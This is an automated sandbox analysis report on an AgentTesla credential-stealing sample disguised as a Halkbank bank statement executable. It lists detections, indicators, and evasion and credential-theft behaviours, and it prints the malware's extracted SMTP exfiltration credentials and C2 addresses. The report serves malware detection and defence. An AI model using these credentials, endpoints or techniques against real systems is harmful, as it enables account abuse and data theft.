Loading ...

Play interactive tourEdit tour

Analysis Report Halkbank_Ekstre_20210113_162325_384771.exe

Overview

General Information

Sample Name:Halkbank_Ekstre_20210113_162325_384771.exe
Analysis ID:339368
MD5:8bdf3d3cb7c7680df5b8d6385dc5db82
SHA1:442eaa27d23dc72fd96c9d2d984068669afbeb5d
SHA256:a3c564db9537f84073828e42af85c0558e763cb211e80bd4653e429ecb62ce8b
Tags:AgentTeslaexegeoHalkbankTUR

Most interesting Screenshot:

Detection

AgentTesla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected AgentTesla
.NET source code contains very large array initializations
C2 URLs / IPs found in malware configuration
Machine Learning detection for sample
Maps a DLL or memory area into another process
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file access)
Antivirus or Machine Learning detection for unpacked file
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains strange resources
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses SMTP (mail sending)
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Startup

  • System is w10x64
  • cleanup

Malware Configuration

Threatname: Agenttesla

{"Username: ": "VVkDExoCFG4o1k", "URL: ": "http://2cRhONggGD4U87PUSY.com", "To: ": "muhasebe@ceotech.com.tr", "ByHost: ": "mail.ceotech.com.tr:587", "Password: ": "JRuuV68u86gFWkr", "From: ": "muhasebe@ceotech.com.tr"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000002.628915716.00000000054D2000.00000040.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
    00000001.00000002.625929224.0000000003020000.00000004.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
      00000001.00000002.628470056.0000000004091000.00000004.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
        00000000.00000002.253943134.0000000000F70000.00000004.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
          00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
            Click to see the 5 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            1.2.Halkbank_Ekstre_20210113_162325_384771.exe.3020000.4.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
              1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                  0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.raw.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                    0.2.Halkbank_Ekstre_20210113_162325_384771.exe.f70000.2.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                      Click to see the 2 entries

                      Sigma Overview

                      No Sigma rule has matched

                      Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Antivirus / Scanner detection for submitted sampleShow sources
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeAvira: detected
                      Found malware configurationShow sources
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe.6128.1.memstrMalware Configuration Extractor: Agenttesla {"Username: ": "VVkDExoCFG4o1k", "URL: ": "http://2cRhONggGD4U87PUSY.com", "To: ": "muhasebe@ceotech.com.tr", "ByHost: ": "mail.ceotech.com.tr:587", "Password: ": "JRuuV68u86gFWkr", "From: ": "muhasebe@ceotech.com.tr"}
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeVirustotal: Detection: 36%Perma Link
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeReversingLabs: Detection: 45%
                      Machine Learning detection for sampleShow sources
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeJoe Sandbox ML: detected
                      Source: 0.0.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpackAvira: Label: TR/ATRAPS.Gen
                      Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpackAvira: Label: TR/Spy.Gen8
                      Source: 1.0.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpackAvira: Label: TR/ATRAPS.Gen
                      Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.400000.0.unpackAvira: Label: TR/Spy.Gen8
                      Source: 0.2.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.0.unpackAvira: Label: TR/ATRAPS.Gen
                      Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.ec0000.1.unpackAvira: Label: TR/ATRAPS.Gen
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                      Source: Binary string: wntdll.pdbUGP source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000000.00000003.249231876.000000001AA10000.00000004.00000001.sdmp
                      Source: Binary string: wntdll.pdb source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000000.00000003.249231876.000000001AA10000.00000004.00000001.sdmp
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00404A29 FindFirstFileExW,

                      Networking:

                      barindex
                      Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
                      Source: TrafficSnort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49711 -> 109.232.220.251:587
                      Source: TrafficSnort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49712 -> 109.232.220.251:587
                      C2 URLs / IPs found in malware configurationShow sources
                      Source: Malware configuration extractorURLs: http://2cRhONggGD4U87PUSY.com
                      Source: global trafficTCP traffic: 192.168.2.7:49711 -> 109.232.220.251:587
                      Source: Joe Sandbox ViewASN Name: AEROTEK-ASTR AEROTEK-ASTR
                      Source: global trafficTCP traffic: 192.168.2.7:49711 -> 109.232.220.251:587
                      Source: unknownDNS traffic detected: queries for: mail.ceotech.com.tr
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpString found in binary or memory: http://2cRhONggGD4U87PUSY.com
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpString found in binary or memory: http://2cRhONggGD4U87PUSY.comt
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpString found in binary or memory: http://DynDns.comDynDNS
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpString found in binary or memory: http://FStglU.com
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.628097347.00000000033E1000.00000004.00000001.sdmpString found in binary or memory: http://ceotech.com.tr
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.628097347.00000000033E1000.00000004.00000001.sdmpString found in binary or memory: http://mail.ceotech.com.tr
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

                      System Summary:

                      barindex
                      .NET source code contains very large array initializationsShow sources
                      Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack, u003cPrivateImplementationDetailsu003eu007b3752B29Bu002dA071u002d43B4u002dA1DDu002dB2F2C00BE4FEu007d/u0037AC9F4C1u002d786Cu002d4F17u002d9724u002dE34B08F37C3F.csLarge array initialization: .cctor: array initializer size 11938
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ED60C0
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ED683C
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ED0432
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ED55E0
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ED51BC
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ED7991
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ECA951
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ECD929
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ED5B50
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_0040A2A5
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ED60C0
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ED683C
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ED0432
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ED55E0
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ED51BC
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ED7991
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ECA951
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ECD929
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00ED5B50
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_010060C8
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_01002A08
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_01004A50
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_0100AAA0
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_01005428
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_01007F58
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_0100C050
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_0100E698
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_01012D50
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_0101F4E8
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_01011FE2
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_01012618
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_01019DB8
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_0101F489
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_01019AC3
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_012E99E0
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_012E6068
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_012EE318
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_012EBA38
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_012E5E48
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_012E7190
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_012ED817
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: String function: 00EC715C appears 370 times
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: String function: 00EC9160 appears 64 times
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: String function: 00EC7021 appears 40 times
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: String function: 00EC6F06 appears 36 times
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: String function: 00EC6EF1 appears 84 times
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: String function: 00ECBFC3 appears 38 times
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000000.00000003.252138972.000000001ACBF000.00000004.00000001.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Halkbank_Ekstre_20210113_162325_384771.exe
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeBinary or memory string: OriginalFilename vs Halkbank_Ekstre_20210113_162325_384771.exe
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.628915716.00000000054D2000.00000040.00000001.sdmpBinary or memory string: OriginalFilenameDcEdwonAXzKWxMNmQOCUH.exe4 vs Halkbank_Ekstre_20210113_162325_384771.exe
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.623266381.0000000000E70000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamewshom.ocx vs Halkbank_Ekstre_20210113_162325_384771.exe
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.623515086.0000000000FF8000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameUNKNOWN_FILET vs Halkbank_Ekstre_20210113_162325_384771.exe
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.629630125.00000000063C0000.00000002.00000001.sdmpBinary or memory string: OriginalFilenameKernelbase.dll.muij% vs Halkbank_Ekstre_20210113_162325_384771.exe
                      Source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000001.00000002.625030855.00000000012F0000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamemscorrc.dllT vs Halkbank_Ekstre_20210113_162325_384771.exe
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                      Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack, A/b2.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                      Source: 1.2.Halkbank_Ekstre_20210113_162325_384771.exe.54d0000.5.unpack, A/b2.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                      Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@3/1@2/1
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00401489 GetModuleHandleW,GetModuleHandleW,FindResourceW,GetModuleHandleW,LoadResource,LockResource,GetModuleHandleW,SizeofResource,FreeResource,ExitProcess,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile created: C:\Users\user\AppData\Roaming\bdbdmgwj.xzvJump to behavior
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCommand line argument: Kernel32.dll
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCommand line argument: User32.dll
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCommand line argument: User32.dll
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCommand line argument: IEUCIZEO
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCommand line argument: Kernel32.dll
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCommand line argument: User32.dll
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCommand line argument: User32.dll
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCommand line argument: IEUCIZEO
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeVirustotal: Detection: 36%
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeReversingLabs: Detection: 45%
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile read: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeJump to behavior
                      Source: unknownProcess created: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe 'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'
                      Source: unknownProcess created: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe 'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess created: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe 'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                      Source: Binary string: wntdll.pdbUGP source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000000.00000003.249231876.000000001AA10000.00000004.00000001.sdmp
                      Source: Binary string: wntdll.pdb source: Halkbank_Ekstre_20210113_162325_384771.exe, 00000000.00000003.249231876.000000001AA10000.00000004.00000001.sdmp
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                      Source: Halkbank_Ekstre_20210113_162325_384771.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00ED1B13 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 0_2_00EC91A5 push ecx; ret
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00401F16 push ecx; ret
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_00EC91A5 push ecx; ret
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_01017A37 push edi; retn 0000h
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeCode function: 1_2_012ED5B0 push es; ret
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exeProcess information set: NOOPENFILEERRORBOX
